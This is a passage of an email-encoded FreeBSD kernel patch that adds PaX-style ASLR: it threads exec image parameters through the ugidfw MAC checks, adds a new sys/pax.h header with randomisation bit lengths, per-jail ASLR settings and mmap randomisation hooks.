+ugidfw_check_vp(struct ucred *cred, struct vnode *vp, int acc_mode, struct= image_params *imgp) { int error; struct vattr vap; @@ -464,7 +485,7 @@ ugidfw_check_vp(struct ucred *cred, struct vnode *vp, i= nt acc_mode) error =3D VOP_GETATTR(vp, &vap, cred); if (error) return (error); - return (ugidfw_check(cred, vp, &vap, acc_mode)); + return (ugidfw_check(cred, vp, &vap, acc_mode, imgp)); } =20 int diff --git a/sys/security/mac_bsdextended/mac_bsdextended.h b/sys/security/= mac_bsdextended/mac_bsdextended.h index c09abc0..c3cbf28 100644 --- a/sys/security/mac_bsdextended/mac_bsdextended.h +++ b/sys/security/mac_bsdextended/mac_bsdextended.h @@ -51,6 +51,9 @@ #define MBI_ADMIN 010000 #define MBI_STAT 020000 #define MBI_APPEND 040000 +#define MBI_FORCE_ASLR_ENABLED 0x01 +#define MBI_FORCE_ASLR_DISABLED 0x02 +#define MBI_ALLPAX (MBI_FORCE_ASLR_ENABLED | MBI_FORCE_ASLR_DISABLED) #define MBI_ALLPERM (MBI_EXEC | MBI_WRITE | MBI_READ | MBI_ADMIN | \ MBI_STAT | MBI_APPEND) =20 @@ -78,6 +81,7 @@ struct mac_bsdextended_subject { #define MBO_UID_SUBJECT 0x00000020 /* uid must match subject */ #define MBO_GID_SUBJECT 0x00000040 /* gid must match subject */ #define MBO_TYPE_DEFINED 0x00000080 /* object type should be matched */ +#define MBO_PAXPATH_DEFINED 0x00000100 /* TODO: paxpath should be matched = */ =20 #define MBO_ALL_FLAGS (MBO_UID_DEFINED | MBO_GID_DEFINED | MBO_FSID_DEFINE= D | \ MBO_SUID | MBO_SGID | MBO_UID_SUBJECT | MBO_GID_SUBJECT | \ @@ -103,12 +107,15 @@ struct mac_bsdextended_object { gid_t mbo_gid_max; struct fsid mbo_fsid; int mbo_type; + ino_t mbo_inode; + char mbo_paxpath[MAXPATHLEN]; }; =20 struct mac_bsdextended_rule { struct mac_bsdextended_subject mbr_subject; struct mac_bsdextended_object mbr_object; mode_t mbr_mode; /* maximum access */ + uint32_t mbr_pax; }; =20 #endif /* _SYS_SECURITY_MAC_BSDEXTENDED_H */ diff --git a/sys/security/mac_bsdextended/ugidfw_internal.h b/sys/security/= mac_bsdextended/ugidfw_internal.h index 5597fd1..18c74dc 100644 --- a/sys/security/mac_bsdextended/ugidfw_internal.h +++ b/sys/security/mac_bsdextended/ugidfw_internal.h @@ -36,8 +36,9 @@ */ int ugidfw_accmode2mbi(accmode_t accmode); int ugidfw_check(struct ucred *cred, struct vnode *vp, struct vattr *vap, - int acc_mode); -int ugidfw_check_vp(struct ucred *cred, struct vnode *vp, int acc_mode); + int acc_mode, struct image_params *imgp); +int ugidfw_check_vp(struct ucred *cred, struct vnode *vp, int acc_mode, + struct image_params *imgp); =20 /* * System access control checks. diff --git a/sys/security/mac_bsdextended/ugidfw_system.c b/sys/security/ma= c_bsdextended/ugidfw_system.c index 49e4f1d..2829a00 100644 --- a/sys/security/mac_bsdextended/ugidfw_system.c +++ b/sys/security/mac_bsdextended/ugidfw_system.c @@ -66,7 +66,7 @@ ugidfw_system_check_acct(struct ucred *cred, struct vnode= *vp, { =20 if (vp !=3D NULL) - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); else return (0); } @@ -77,7 +77,7 @@ ugidfw_system_check_auditctl(struct ucred *cred, struct v= node *vp, { =20 if (vp !=3D NULL) - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); else return (0); } @@ -87,5 +87,5 @@ ugidfw_system_check_swapon(struct ucred *cred, struct vno= de *vp, struct label *vplabel) { =20 - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } diff --git a/sys/security/mac_bsdextended/ugidfw_vnode.c b/sys/security/mac= _bsdextended/ugidfw_vnode.c index 8ec2d48..2065e6e 100644 --- a/sys/security/mac_bsdextended/ugidfw_vnode.c +++ b/sys/security/mac_bsdextended/ugidfw_vnode.c @@ -65,7 +65,7 @@ ugidfw_vnode_check_access(struct ucred *cred, struct vnod= e *vp, struct label *vplabel, accmode_t accmode) { =20 - return (ugidfw_check_vp(cred, vp, ugidfw_accmode2mbi(accmode))); + return (ugidfw_check_vp(cred, vp, ugidfw_accmode2mbi(accmode), NULL)); } =20 int @@ -73,7 +73,7 @@ ugidfw_vnode_check_chdir(struct ucred *cred, struct vnode= *dvp, struct label *dvplabel) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_EXEC)); + return (ugidfw_check_vp(cred, dvp, MBI_EXEC, NULL)); } =20 int @@ -81,7 +81,7 @@ ugidfw_vnode_check_chroot(struct ucred *cred, struct vnod= e *dvp, struct label *dvplabel) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_EXEC)); + return (ugidfw_check_vp(cred, dvp, MBI_EXEC, NULL)); } =20 int @@ -89,7 +89,7 @@ ugidfw_check_create_vnode(struct ucred *cred, struct vnod= e *dvp, struct label *dvplabel, struct componentname *cnp, struct vattr *vap) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_WRITE)); + return (ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL)); } =20 int @@ -97,7 +97,7 @@ ugidfw_vnode_check_deleteacl(struct ucred *cred, struct v= node *vp, struct label *vplabel, acl_type_t type) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -105,7 +105,7 @@ ugidfw_vnode_check_deleteextattr(struct ucred *cred, st= ruct vnode *vp, struct label *vplabel, int attrnamespace, const char *name) { =20 - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } =20 int @@ -114,7 +114,7 @@ ugidfw_vnode_check_exec(struct ucred *cred, struct vnod= e *vp, struct label *execlabel) { =20 - return (ugidfw_check_vp(cred, vp, MBI_READ|MBI_EXEC)); + return (ugidfw_check_vp(cred, vp, MBI_READ|MBI_EXEC, imgp)); } =20 int @@ -122,7 +122,7 @@ ugidfw_vnode_check_getacl(struct ucred *cred, struct vn= ode *vp, struct label *vplabel, acl_type_t type) { =20 - return (ugidfw_check_vp(cred, vp, MBI_STAT)); + return (ugidfw_check_vp(cred, vp, MBI_STAT, NULL)); } =20 int @@ -130,7 +130,7 @@ ugidfw_vnode_check_getextattr(struct ucred *cred, struc= t vnode *vp, struct label *vplabel, int attrnamespace, const char *name) { =20 - return (ugidfw_check_vp(cred, vp, MBI_READ)); + return (ugidfw_check_vp(cred, vp, MBI_READ, NULL)); } =20 int @@ -140,10 +140,10 @@ ugidfw_vnode_check_link(struct ucred *cred, struct vn= ode *dvp, { int error; =20 - error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL); if (error) return (error); - error =3D ugidfw_check_vp(cred, vp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, vp, MBI_WRITE, NULL); if (error) return (error); return (0); @@ -154,7 +154,7 @@ ugidfw_vnode_check_listextattr(struct ucred *cred, stru= ct vnode *vp, struct label *vplabel, int attrnamespace) { =20 - return (ugidfw_check_vp(cred, vp, MBI_READ)); + return (ugidfw_check_vp(cred, vp, MBI_READ, NULL)); } =20 int @@ -162,7 +162,7 @@ ugidfw_vnode_check_lookup(struct ucred *cred, struct vn= ode *dvp, struct label *dvplabel, struct componentname *cnp) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_EXEC)); + return (ugidfw_check_vp(cred, dvp, MBI_EXEC, NULL)); } =20 int @@ -170,7 +170,7 @@ ugidfw_vnode_check_open(struct ucred *cred, struct vnod= e *vp, struct label *vplabel, accmode_t accmode) { =20 - return (ugidfw_check_vp(cred, vp, ugidfw_accmode2mbi(accmode))); + return (ugidfw_check_vp(cred, vp, ugidfw_accmode2mbi(accmode), NULL)); } =20 int @@ -178,7 +178,7 @@ ugidfw_vnode_check_readdir(struct ucred *cred, struct v= node *dvp, struct label *dvplabel) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_READ)); + return (ugidfw_check_vp(cred, dvp, MBI_READ, NULL)); } =20 int @@ -186,7 +186,7 @@ ugidfw_vnode_check_readdlink(struct ucred *cred, struct= vnode *vp, struct label *vplabel) { =20 - return (ugidfw_check_vp(cred, vp, MBI_READ)); + return (ugidfw_check_vp(cred, vp, MBI_READ, NULL)); } =20 int @@ -196,10 +196,10 @@ ugidfw_vnode_check_rename_from(struct ucred *cred, st= ruct vnode *dvp, { int error; =20 - error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL); if (error) return (error); - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } =20 int @@ -209,11 +209,11 @@ ugidfw_vnode_check_rename_to(struct ucred *cred, stru= ct vnode *dvp, { int error; =20 - error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL); if (error) return (error); if (vp !=3D NULL) - error =3D ugidfw_check_vp(cred, vp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, vp, MBI_WRITE, NULL); return (error); } =20 @@ -222,7 +222,7 @@ ugidfw_vnode_check_revoke(struct ucred *cred, struct vn= ode *vp, struct label *vplabel) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -230,7 +230,7 @@ ugidfw_check_setacl_vnode(struct ucred *cred, struct vn= ode *vp, struct label *vplabel, acl_type_t type, struct acl *acl) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -238,7 +238,7 @@ ugidfw_vnode_check_setextattr(struct ucred *cred, struc= t vnode *vp, struct label *vplabel, int attrnamespace, const char *name) { =20 - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } =20 int @@ -246,7 +246,7 @@ ugidfw_vnode_check_setflags(struct ucred *cred, struct = vnode *vp, struct label *vplabel, u_long flags) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -254,7 +254,7 @@ ugidfw_vnode_check_setmode(struct ucred *cred, struct v= node *vp, struct label *vplabel, mode_t mode) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -262,7 +262,7 @@ ugidfw_vnode_check_setowner(struct ucred *cred, struct = vnode *vp, struct label *vplabel, uid_t uid, gid_t gid) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -270,7 +270,7 @@ ugidfw_vnode_check_setutimes(struct ucred *cred, struct= vnode *vp, struct label *vplabel, struct timespec atime, struct timespec utime) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -278,7 +278,7 @@ ugidfw_vnode_check_stat(struct ucred *active_cred, struct ucred *file_cred, struct vnode *vp, struct label *vplabel) { =20 - return (ugidfw_check_vp(active_cred, vp, MBI_STAT)); + return (ugidfw_check_vp(active_cred, vp, MBI_STAT, NULL)); } =20 int @@ -288,8 +288,8 @@ ugidfw_vnode_check_unlink(struct ucred *cred, struct vn= ode *dvp, { int error; =20 - error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL); if (error) return (error); - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } diff --git a/sys/sparc64/sparc64/elf_machdep.c b/sys/sparc64/sparc64/elf_ma= chdep.c index 4d55717..e0eba33 100644 --- a/sys/sparc64/sparc64/elf_machdep.c +++ b/sys/sparc64/sparc64/elf_machdep.c @@ -34,6 +34,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -52,6 +54,10 @@ __FBSDID("$FreeBSD$"); =20 #include =20 +#ifdef PAX_ASLR +#include +#endif + #include "linker_if.h" =20 static struct sysentvec elf64_freebsd_sysvec =3D { @@ -87,6 +93,11 @@ static struct sysentvec elf64_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static Elf64_Brandinfo freebsd_brand_info =3D { diff --git a/sys/sys/imgact.h b/sys/sys/imgact.h index 17cfcc2..15c2c4f 100644 --- a/sys/sys/imgact.h +++ b/sys/sys/imgact.h @@ -78,6 +78,7 @@ struct image_params { unsigned long pagesizes; int pagesizeslen; vm_prot_t stack_prot; + int pax_flags; }; =20 #ifdef _KERNEL diff --git a/sys/sys/jail.h b/sys/sys/jail.h index 59d791c..699b21c 100644 --- a/sys/sys/jail.h +++ b/sys/sys/jail.h @@ -184,6 +184,19 @@ struct prison { char pr_hostname[MAXHOSTNAMELEN]; /* (p) jail hostname */ char pr_domainname[MAXHOSTNAMELEN]; /* (p) jail domainname */ char pr_hostuuid[HOSTUUIDLEN]; /* (p) jail hostuuid */ + /* Lock only needed for pax_* if pr_pax_set =3D=3D 0 */ + int pr_pax_set; /* (p) PaX settings initialized */ + int pr_pax_aslr_status; /* (p) PaX ASLR enabled */ + int pr_pax_aslr_debug; /* (p) PaX ASLR debug */ + int pr_pax_aslr_mmap_len; /* (p) Number of bits randomized with mmap */ + int pr_pax_aslr_stack_len; /* (p) Number of bits randomized with stack= */ + int pr_pax_aslr_exec_len; /* (p) Number of bits randomized with the ex= ecbase */ + int pr_pax_aslr_compat_status; /* (p) PaX ASLR enabled (compat32) */ + int pr_pax_aslr_compat_mmap_len; /* (p) Number of bits randomized with = mmap (compat32) */ + int pr_pax_aslr_compat_stack_len; /* (p) Number of bits randomized with= stack (compat32) */ + int pr_pax_aslr_compat_exec_len; /* (p) Number of bits randomized with = the execbase (compat32) */ + int pr_pax_log_log; /* (p) XXX */ + int pr_pax_log_ulog; /* (p) XXX */ }; =20 struct prison_racct { diff --git a/sys/sys/kernel.h b/sys/sys/kernel.h index 3c5258a..aedb52e 100644 --- a/sys/sys/kernel.h +++ b/sys/sys/kernel.h @@ -102,6 +102,7 @@ enum sysinit_sub_id { SI_SUB_WITNESS =3D 0x1A80000, /* witness initialization */ SI_SUB_MTX_POOL_DYNAMIC =3D 0x1AC0000, /* dynamic mutex pool */ SI_SUB_LOCK =3D 0x1B00000, /* various locks */ + SI_SUB_PAX =3D 0x1B50000, /* pax setup */ SI_SUB_EVENTHANDLER =3D 0x1C00000, /* eventhandler init */ SI_SUB_VNET_PRELINK =3D 0x1E00000, /* vnet init before modules */ SI_SUB_KLD =3D 0x2000000, /* KLD and module setup */ diff --git a/sys/sys/pax.h b/sys/sys/pax.h new file mode 100644 index 0000000..a0f2bf6 --- /dev/null +++ b/sys/sys/pax.h @@ -0,0 +1,226 @@ +/*- + * Copyright (c) 2006 Elad Efrat + * Copyright (c) 2013-2014, by Oliver Pinter + * Copyright (c) 2014, by Shawn Webb + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTI= ES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF US= E, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $FreeBSD$ + */ + +#ifndef __SYS_PAX_H +#define __SYS_PAX_H + +struct image_params; +struct prison; +struct thread; +struct vnode; +struct vmspace; +struct vm_offset_t; + +/* + * used in sysctl handler + */ +#define PAX_ASLR_DISABLED 0 +#define PAX_ASLR_OPTIN 1 +#define PAX_ASLR_OPTOUT 2 +#define PAX_ASLR_FORCE_ENABLED 3 + +#ifndef PAX_ASLR_DELTA +#define PAX_ASLR_DELTA(delta, lsb, len) \ + (((delta) & ((1UL << (len)) - 1)) << (lsb)) +#endif /* PAX_ASLR_DELTA */ + +#ifdef PAX_ASLR +/* + * generic ASLR values + * + * MMAP | 32 bit | 64 bit | + * +-------+--------+--------+ + * | MIN | 8 bit | 16 bit | + * +-------+--------+--------+ + * | DEF | 8 bit | 21 bit | + * +-------+--------+--------+ + * | MAX | 16 bit | 32 bit | + * +-------+--------+--------+ + * + * STACK | 32 bit | 64 bit | + * +-------+--------+--------+ + * | MIN | 6 bit | 12 bit | + * +-------+--------+--------+ + * | DEF | 6 bit | 16 bit | + * +-------+--------+--------+ + * | MAX | 10 bit | 21 bit | + * +-------+--------+--------+ + * + * EXEC | 32 bit | 64 bit | + * +-------+--------+--------+ + * | MIN | 6 bit | 12 bit | + * +-------+--------+--------+ + * | DEF | 6 bit | 21 bit | + * +-------+--------+--------+ + * | MAX | 10 bit | 21 bit | + * +-------+--------+--------+ + * + */ +#ifndef PAX_ASLR_DELTA_MMAP_LSB +#define PAX_ASLR_DELTA_MMAP_LSB PAGE_SHIFT +#endif /* PAX_ASLR_DELTA_MMAP_LSB */ + +#ifndef PAX_ASLR_DELTA_MMAP_MIN_LEN +#define PAX_ASLR_DELTA_MMAP_MIN_LEN ((sizeof(void *) * NBBY) / 4) +#endif /* PAX_ASLR_DELTA_MMAP_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_MMAP_MAX_LEN +#define PAX_ASLR_DELTA_MMAP_MAX_LEN ((sizeof(void *) * NBBY) / 2) +#endif /* PAX_ASLR_DELTA_MMAP_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_STACK_LSB +#define PAX_ASLR_DELTA_STACK_LSB 3 +#endif /* PAX_ASLR_DELTA_STACK_LSB */ + +#ifndef PAX_ASLR_DELTA_STACK_MIN_LEN +#define PAX_ASLR_DELTA_STACK_MIN_LEN ((sizeof(void *) * NBBY) / 5) +#endif /* PAX_ASLR_DELTA_STACK_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_STACK_MAX_LEN +#define PAX_ASLR_DELTA_STACK_MAX_LEN ((sizeof(void *) * NBBY) / 3) +#endif /* PAX_ASLR_DELTA_STACK_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_EXEC_LSB +#define PAX_ASLR_DELTA_EXEC_LSB PAGE_SHIFT +#endif /* PAX_ASLR_DELTA_EXEC_LSB */ + +#ifndef PAX_ASLR_DELTA_EXEC_MIN_LEN +#define PAX_ASLR_DELTA_EXEC_MIN_LEN ((sizeof(void *) * NBBY) / 5) +#endif /* PAX_ASLR_DELTA_EXEC_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_EXEC_MAX_LEN +#define PAX_ASLR_DELTA_EXEC_MAX_LEN ((sizeof(void *) * NBBY) / 3) +#endif /* PAX_ASLR_DELTA_EXEC_MAX_LEN */ + +/* + * ASLR default values for native host + */ +#ifdef __amd64__ +#ifndef PAX_ASLR_DELTA_MMAP_DEF_LEN +#define PAX_ASLR_DELTA_MMAP_DEF_LEN 21 +#endif /* PAX_ASLR_DELTA_MMAP_DEF_LEN */ +#ifndef PAX_ASLR_DELTA_STACK_DEF_LEN +#define PAX_ASLR_DELTA_STACK_DEF_LEN 16 +#endif /* PAX_ASLR_DELTA_STACK_DEF_LEN */ +#ifndef PAX_ASLR_DELTA_EXEC_DEF_LEN +#define PAX_ASLR_DELTA_EXEC_DEF_LEN 21 +#endif /* PAX_ASLR_DELTA_EXEC_DEF_LEN */ +#else +#ifndef PAX_ASLR_DELTA_MMAP_DEF_LEN +#define PAX_ASLR_DELTA_MMAP_DEF_LEN PAX_ASLR_DELTA_MMAP_MIN_LEN +#endif /* PAX_ASLR_DELTA_MMAP_DEF_LEN */ +#ifndef PAX_ASLR_DELTA_STACK_DEF_LEN +#define PAX_ASLR_DELTA_STACK_DEF_LEN PAX_ASLR_DELTA_STACK_MIN_LEN +#endif /* PAX_ASLR_DELTA_STACK_DEF_LEN */ +#ifndef PAX_ASLR_DELTA_EXEC_DEF_LEN +#define PAX_ASLR_DELTA_EXEC_DEF_LEN PAX_ASLR_DELTA_EXEC_MIN_LEN +#endif /* PAX_ASLR_DELTA_EXEC_DEF_LEN */ +#endif /* __amd64__ */ + +/* + * ASLR values for COMPAT_FREEBSD32 and COMPAT_LINUX + */ +#ifndef PAX_ASLR_COMPAT_DELTA_MMAP_LSB +#define PAX_ASLR_COMPAT_DELTA_MMAP_LSB PAGE_SHIFT +#endif /* PAX_ASLR_COMPAT_DELTA_MMAP_LSB */ + +#ifndef PAX_ASLR_COMPAT_DELTA_MMAP_MIN_LEN +#define PAX_ASLR_COMPAT_DELTA_MMAP_MIN_LEN ((sizeof(int) * NBBY) / 4) +#endif /* PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN +#define PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN ((sizeof(int) * NBBY) / 2) +#endif /* PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_STACK_LSB +#define PAX_ASLR_COMPAT_DELTA_STACK_LSB 3 +#endif /* PAX_ASLR_COMPAT_DELTA_STACK_LSB */ + +#ifndef PAX_ASLR_COMPAT_DELTA_STACK_MIN_LEN +#define PAX_ASLR_COMPAT_DELTA_STACK_MIN_LEN ((sizeof(int) * NBBY) / 5) +#endif /* PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN +#define PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN ((sizeof(int) * NBBY) / 3) +#endif /* PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_EXEC_MIN_LEN +#define PAX_ASLR_COMPAT_DELTA_EXEC_MIN_LEN ((sizeof(int) * NBBY) / 5) +#endif /* PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN +#define PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN ((sizeof(int) * NBBY) / 3) +#endif /* PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN */ + +extern int pax_aslr_status; +extern int pax_aslr_debug; + +extern int pax_aslr_mmap_len; +extern int pax_aslr_stack_len; +extern int pax_aslr_exec_len; +#ifdef COMPAT_FREEBSD32 +extern int pax_aslr_compat_status; +extern int pax_aslr_compat_mmap_len; +extern int pax_aslr_compat_stack_len; +extern int pax_aslr_compat_exec_len; +#endif /* COMPAT_FREEBSD32 */ +#endif /* PAX_ASLR */ + +extern int pax_log_log; +extern int pax_log_ulog; + +#define ELF_NOTE_TYPE_PAX_TAG 3 +#define PAX_NOTE_MPROTECT 0x01 +#define PAX_NOTE_NOMPROTECT 0x02 +#define PAX_NOTE_GUARD 0x04 +#define PAX_NOTE_NOGUARD 0x08 +#define PAX_NOTE_ASLR 0x10 +#define PAX_NOTE_NOASLR 0x20 + +#define PAX_LOG_LOG 0 +#define PAX_LOG_ULOG 0 + +void pax_init(void); +void pax_init_prison(struct prison *pr); +bool pax_aslr_active(struct thread *td, struct proc *proc); +void _pax_aslr_init(struct vmspace *vm, struct prison *pr); +void _pax_aslr_init32(struct vmspace *vm, struct prison *pr); +void pax_aslr_init(struct thread *td, struct image_params *imgp); +void pax_aslr_mmap(struct thread *td, vm_offset_t *addr,=20 + vm_offset_t orig_addr, int flags); +void pax_aslr_stack(struct thread *td, uintptr_t *addr); +struct prison *pax_get_prison(struct thread *td, struct proc *proc); +void pax_elf(struct image_params *, uint32_t); + +void pax_log_aslr(struct prison *pr, const char *func, const char *fmt, ..= =2E); +void pax_ulog_aslr(struct prison *pr, const char *func, const char *fmt, .= =2E.); + +#endif /* __SYS_PAX_H */ diff --git a/sys/sys/proc.h b/sys/sys/proc.h index fbd064c..558d7bf 100644 --- a/sys/sys/proc.h +++ b/sys/sys/proc.h @@ -539,6 +539,7 @@ struct proc { u_int p_stops; /* (c) Stop event bitmask. */ u_int p_stype; /* (c) Stop event type. */ char p_step; /* (c) Process is stopped. */ + u_int p_pax; /* (b) PaX is enabled to this process */ u_char p_pfsflags; /* (c) Procfs flags. */ struct nlminfo *p_nlminfo; /* (?) Only used by/for lockd. */ struct kaioinfo *p_aioinfo; /* (y) ASYNC I/O info. */ diff --git a/sys/sys/sysent.h b/sys/sys/sysent.h index c49db41..cfbcdc0 100644 --- a/sys/sys/sysent.h +++ b/sys/sys/sysent.h @@ -77,9 +77,11 @@ struct sysent { /* system call table */ #define SY_THR_INCR 0x8 =20 struct image_params; +struct prison; struct __sigset; struct syscall_args; struct trapframe; +struct vmspace; struct vnode; =20 struct sysentvec { @@ -130,6 +132,7 @@ struct sysentvec { uint32_t sv_timekeep_gen; void *sv_shared_page_obj; void (*sv_schedtail)(struct thread *); + void (*sv_pax_aslr_init)(struct vmspace *vm, struct prison *pr); }; =20 #define SV_ILP32 0x000100 diff --git a/sys/vm/vm_map.c b/sys/vm/vm_map.c index d8ba33f..4ba8106 100644 --- a/sys/vm/vm_map.c +++ b/sys/vm/vm_map.c @@ -65,6 +65,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -292,6 +294,12 @@ vmspace_alloc(vm_offset_t min, vm_offset_t max, pmap_p= init_t pinit) vm->vm_taddr =3D 0; vm->vm_daddr =3D 0; vm->vm_maxsaddr =3D 0; +#ifdef PAX_ASLR + vm->vm_aslr_delta_mmap =3D 0; + vm->vm_aslr_delta_stack =3D 0; + vm->vm_aslr_delta_exec =3D 0; +#endif + return (vm); } =20 diff --git a/sys/vm/vm_map.h b/sys/vm/vm_map.h index 8cced05..e8e9ffe 100644 --- a/sys/vm/vm_map.h +++ b/sys/vm/vm_map.h @@ -241,6 +241,9 @@ struct vmspace { caddr_t vm_taddr; /* (c) user virtual address of text */ caddr_t vm_daddr; /* (c) user virtual address of data */ caddr_t vm_maxsaddr; /* user VA at max stack growth */ + vm_size_t vm_aslr_delta_mmap; /* mmap() random delta for ASLR */ + vm_size_t vm_aslr_delta_stack; /* stack random delta for ASLR */ + vm_size_t vm_aslr_delta_exec; /* exec base random delta for ASLR */ volatile int vm_refcnt; /* number of references */ /* * Keep the PMAP last, so that CPU-specific variations of that diff --git a/sys/vm/vm_mmap.c b/sys/vm/vm_mmap.c index a524839..fd8876e 100644 --- a/sys/vm/vm_mmap.c +++ b/sys/vm/vm_mmap.c @@ -45,6 +45,7 @@ __FBSDID("$FreeBSD$"); =20 #include "opt_compat.h" #include "opt_hwpmc_hooks.h" +#include "opt_pax.h" =20 #include #include @@ -91,6 +92,10 @@ __FBSDID("$FreeBSD$"); #include #endif =20 +#ifdef PAX_ASLR +#include +#endif + int old_mlock =3D 0; SYSCTL_INT(_vm, OID_AUTO, old_mlock, CTLFLAG_RW | CTLFLAG_TUN, &old_mlock,= 0, "Do not apply RLIMIT_MEMLOCK on mlockall"); @@ -203,6 +208,9 @@ sys_mmap(td, uap) struct file *fp; struct vnode *vp; vm_offset_t addr; +#ifdef PAX_ASLR + vm_offset_t orig_addr; +#endif vm_size_t size, pageoff; vm_prot_t cap_maxprot, prot, maxprot; void *handle; @@ -213,6 +221,9 @@ sys_mmap(td, uap) cap_rights_t rights; =20 addr =3D (vm_offset_t) uap->addr; +#ifdef PAX_ASLR + orig_addr =3D addr; +#endif size =3D uap->len; prot =3D uap->prot & VM_PROT_ALL; flags =3D uap->flags; @@ -416,6 +427,9 @@ sys_mmap(td, uap) map: td->td_fpop =3D fp; maxprot &=3D cap_maxprot; +#ifdef PAX_ASLR + pax_aslr_mmap(td, &addr, orig_addr, flags); +#endif error =3D vm_mmap(&vms->vm_map, &addr, size, prot, maxprot, flags, handle_type, handle, pos); td->td_fpop =3D NULL; diff --git a/tools/build/options/WITHOUT_PIE b/tools/build/options/WITHOUT_= PIE new file mode 100644 index 0000000..82019ce --- /dev/null +++ b/tools/build/options/WITHOUT_PIE @@ -0,0 +1 @@ +Enable building of Position-Independent Executables (PIEs). 